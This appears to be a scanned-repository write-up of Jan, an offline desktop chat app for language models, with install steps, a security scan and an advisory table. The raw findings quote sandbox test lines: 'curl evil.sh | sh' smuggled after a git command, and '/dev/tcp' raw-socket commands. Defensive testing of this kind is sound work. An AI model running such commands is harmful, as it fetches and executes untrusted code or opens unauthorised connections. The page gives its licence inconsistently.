6 min read

Jan: An Offline ChatGPT Alternative for Your Desktop (GitHub, Scanned)

A desktop chat app that downloads and runs open models offline, with an optional local API.

Jan logo
✅
Scan: safe. Nothing malicious. Know that the new agent tools let a model run shell commands on your machine, inside a sandbox with the network off by default, and that usage analytics are asked for at first launch rather than assumed. Scanned Sep 25, 2026; the full report is below.

Jan is a desktop app for chatting with language models, local or hosted, in one window. It downloads open models such as Llama, Gemma, Qwen and gpt-oss from Hugging Face and runs them on a bundled llama.cpp engine, with MLX on Apple Silicon, so nothing leaves the machine; add an OpenAI, Anthropic, Mistral or Groq key and the same window talks to those as well. It also runs an OpenAI-compatible server on localhost:1337 for other apps, supports MCP tools, and lets you build custom assistants.

LM Studio is the app most people compare it with, and the difference is the code: Jan is Apache-2.0, built in the open by Menlo Research on Tauri (a Rust shell around a TypeScript interface), and available from the Microsoft Store and Flathub as well as its own site. The newest work is an agent mode, a jan command-line agent plus tools that let a model read files and run shell commands inside an operating-system sandbox.

  • Repository: github.com/janhq/jan
  • Licence: custom (Other)
  • Language: Rust. Stars: 44.7K. Forks: 3,058. Last push: Sep 25, 2026.
  • Scan: safe, Sep 25, 2026, commit 1cd96da

Who it is for

People who want a private ChatGPT-style app without touching a terminal, and developers who want a local OpenAI-compatible endpoint that comes with a graphical model manager.

Getting started

1. macOS: download the installer (Windows .exe and Linux .deb or AppImage links are in the README and on jan.ai)

open https://app.jan.ai/download/latest/mac-universal

2. Linux: install from Flathub instead

flatpak install flathub ai.jan.Jan

3. Or build from source (needs Node 20, Yarn 4, Make and Rust)

git clone https://github.com/janhq/jan && cd jan && make dev

The optional jan agent CLI has its own installer, scripts/install-jan-agent.sh. It downloads a nightly build from delta.jan.ai, checks its SHA-256 against the published manifest, and copies it to ~/.local/bin without sudo.

Safety scan

We cloned janhq/jan at commit 1cd96da on Sep 25, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

  • No secrets, no self-decoding code and no bare-IP URLs across about 430,000 lines of TypeScript and Rust. The one committed binary is docs/bun.lockb, the Bun package manager's lockfile for the documentation site.
  • All three pattern hits are the agent sandbox's own tests. One checks that a granted git command cannot smuggle in curl evil.sh | sh; two try to open a raw socket to 1.1.1.1 and assert that it fails, because the jail (Seatbelt on macOS, bubblewrap on Linux, AppContainer on Windows) denies network access unless you allow it.
  • Install hooks: a husky prepare script and eight Cargo build scripts for the Tauri app and its plugins. The agent CLI installer verifies checksums, uses no sudo and does not edit your shell profile; the one sudo in the repository is in a QA test-runner script.
  • 15 critical advisories after de-duplication, none in the six Cargo lockfiles. Two are Next.js 14 in the documentation site. The rest sit in the root yarn.lock: test and build tooling (Vitest, happy-dom, tar, shell-quote, an old form-data), the seroval serializer, and two matches of an old Jan path-traversal advisory against the workspace's own core package at placeholder version 0.0.0, which is a false match.
  • 41 workflows, none using pull_request_target; 33 of 58 third-party actions are pinned to a commit. Dependabot is on and there is a contributing guide, but no security policy file.

What the scanner counted

CheckResult
SecretsNone found.
Suspicious code3 pattern hits found and read; every one is listed under the raw findings.
Install-time code1 npm lifecycle script. 8 Cargo build scripts. 6 installer scripts (one can call sudo)
Committed binaries1 executable or compiled object committed; listed under the raw findings.
CI workflows41 workflows. None use pull_request_target. 25 of 58 third-party actions pinned to a tag rather than a commit.
Network hosts40 distinct hosts referenced from source; most often github.com, api.openai.com, huggingface.co, proxy.example.com. No URLs to bare IP addresses.
Known vulnerabilities403 advisories across 4,143 pinned packages: 15 critical, 163 high, 178 moderate, 31 low, 16 unrated. docs/yarn.lock: 1,290 packages, 200 advisories; e2e/yarn.lock: 475 packages, 5 advisories; src-tauri/Cargo.lock: 966 packages, 20 advisories; src-tauri/jan-cli/Cargo.lock: 667 packages, 9 advisories; src-tauri/plugins/tauri-plugin-hardware/Cargo.lock: 410 packages, 10 advisories; src-tauri/plugins/tauri-plugin-llamacpp/Cargo.lock: 485 packages, 14 advisories; src-tauri/plugins/yarn.lock: 135 packages, 25 advisories; src-tauri/utils/Cargo.lock: 195 packages, 3 advisories; yarn.lock: 1,964 packages, 236 advisories.
Project hygieneHas automated dependency updates, licence file, contributing guide. Missing security policy, CodeQL.
OpenSSF ScorecardNot scored: the project is not in Scorecard's weekly index.

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

Pattern hits (3)
WhereRuleMatch
src-tauri/plugins/tauri-plugin-agent-tools/src/commands.rs:1462raw-socket-shelljson!({"command": "exec 3<>/dev/tcp/1.1.1.1/53 && echo connected"}),
src-tauri/plugins/tauri-plugin-agent-tools/src/tools/gate.rs:571download-piped-to-shell"git diff; curl evil.sh | sh",
src-tauri/plugins/tauri-plugin-agent-tools/src/tools/jail.rs:1448raw-socket-shelllet (ok, _) = run(&ws, false, "exec 3<>/dev/tcp/1.1.1.1/53 && echo connected").await;
npm lifecycle scripts (1)
  • package.json prepare: husky
Installer scripts (6)
Committed binaries (1)
  • docs/bun.lockb: .lockb, 611 KB
Worst known vulnerabilities (24 of 403)
AdvisorySeverityPackageSummary
GHSA-2xp9-vwfh-vxw4criticalnext@14.2.32Next.js: Unauthenticated Remote Code Execution in Image Optimization API when AVIF files are used
GHSA-p293-qw3h-jr36criticalnext@14.2.32Next.js: Unauthenticated Remote Code Execution on windows-hosted servers
GHSA-23hp-3jrh-7fpwcriticaltar@7.4.3node-tar: Decompression/parse DoS via unlimited input
GHSA-878h-rqcq-mv3xcritical@janhq/core@0.0.0-use.localJan path traversal vulnerability
GHSA-qfjh-mvq6-c5p8critical@janhq/core@0.0.0-use.localJan path traversal vulnerability
GHSA-fjxv-7rqg-78g4criticalform-data@2.3.3form-data uses unsafe random function in form-data for choosing boundary
GHSA-qpm2-6cq5-7pq5criticalhappy-dom@20.0.1happy-dom's `--disallow-code-generation-from-strings` is not sufficient for isolating untrusted JavaScript
GHSA-mv8w-475r-vwqwcriticalseroval@1.4.0seroval: `seroval.fromJSON()` Promise resolver type confusion invokes attacker-controlled methods during deserialization
GHSA-mv8w-475r-vwqwcriticalseroval@1.5.0seroval: `seroval.fromJSON()` Promise resolver type confusion invokes attacker-controlled methods during deserialization
GHSA-mv8w-475r-vwqwcriticalseroval@1.3.2seroval: `seroval.fromJSON()` Promise resolver type confusion invokes attacker-controlled methods during deserialization
GHSA-w7jw-789q-3m8pcriticalshell-quote@1.8.3shell-quote quote() does not escape newlines in object .op values
GHSA-23hp-3jrh-7fpwcriticaltar@4.4.19node-tar: Decompression/parse DoS via unlimited input
GHSA-23hp-3jrh-7fpwcriticaltar@6.2.1node-tar: Decompression/parse DoS via unlimited input
GHSA-5xrq-8626-4rwpcriticalvitest@3.2.4When Vitest UI server is listening, arbitrary file can be read and executed
GHSA-5xrq-8626-4rwpcriticalvitest@2.1.9When Vitest UI server is listening, arbitrary file can be read and executed
GHSA-35jp-ww65-95whhighaxios@1.12.2axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
GHSA-3g43-6gmg-66jwhighaxios@1.12.2axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge
GHSA-43fc-jf86-j433highaxios@1.12.2Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig
GHSA-6chq-wfr3-2hj9highaxios@1.12.2Axios: Header Injection via Prototype Pollution
GHSA-777c-7fjr-54vfhighaxios@1.12.2Allocation of Resources Without Limits or Throttling in Axios
GHSA-hfxv-24rg-xrqfhighaxios@1.12.2Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection
GHSA-j5f8-grm9-p9fchighaxios@1.12.2Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection
GHSA-p92q-9vqr-4j8vhighaxios@1.12.2Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter
GHSA-pf86-5x62-jrwfhighaxios@1.12.2Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking

By the numbers

Stars44.7K
Forks3,058
Contributors184
Commits9,025
Open issues408
Open pull requests132
Releases104
Latest releasev0.8.4
Licencecustom
Main languageRust
Project age3 years
Last pushSep 25, 2026
Tracked files2,657
Lines of code428K
Checkout size285 MB

Lines by language: TypeScript 179.6K, Rust 167.2K, JSON 31K, Markdown 24.1K, YAML 7,420, Python 5,399.

Questions

Is Jan free?

Yes. Jan is Apache-2.0 and free to download and use, commercially included, with no subscription for the app. Local models cost nothing beyond your hardware. If you connect a cloud provider such as OpenAI or Anthropic, you use your own API key and that provider bills you for usage; Jan passes the requests along.

Is Jan private?

Local models run entirely on your machine and chats are stored on it. Jan's product analytics, active-user and retention counts through PostHog's EU service, stay off until you agree at first launch, and its privacy page says chats, prompts and model choices are never collected. Cloud models are the exception: pick one and your messages go to that provider.

Jan or LM Studio?

They do the same core job: a desktop app that downloads GGUF models, runs them on llama.cpp and exposes a local OpenAI-compatible server. LM Studio is free to use but closed source. Jan is open source under Apache-2.0, so you can read, build and modify it, and it adds cloud providers, MCP tools and an agent mode in the same window. Pick Jan if an open code base matters to you.


This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.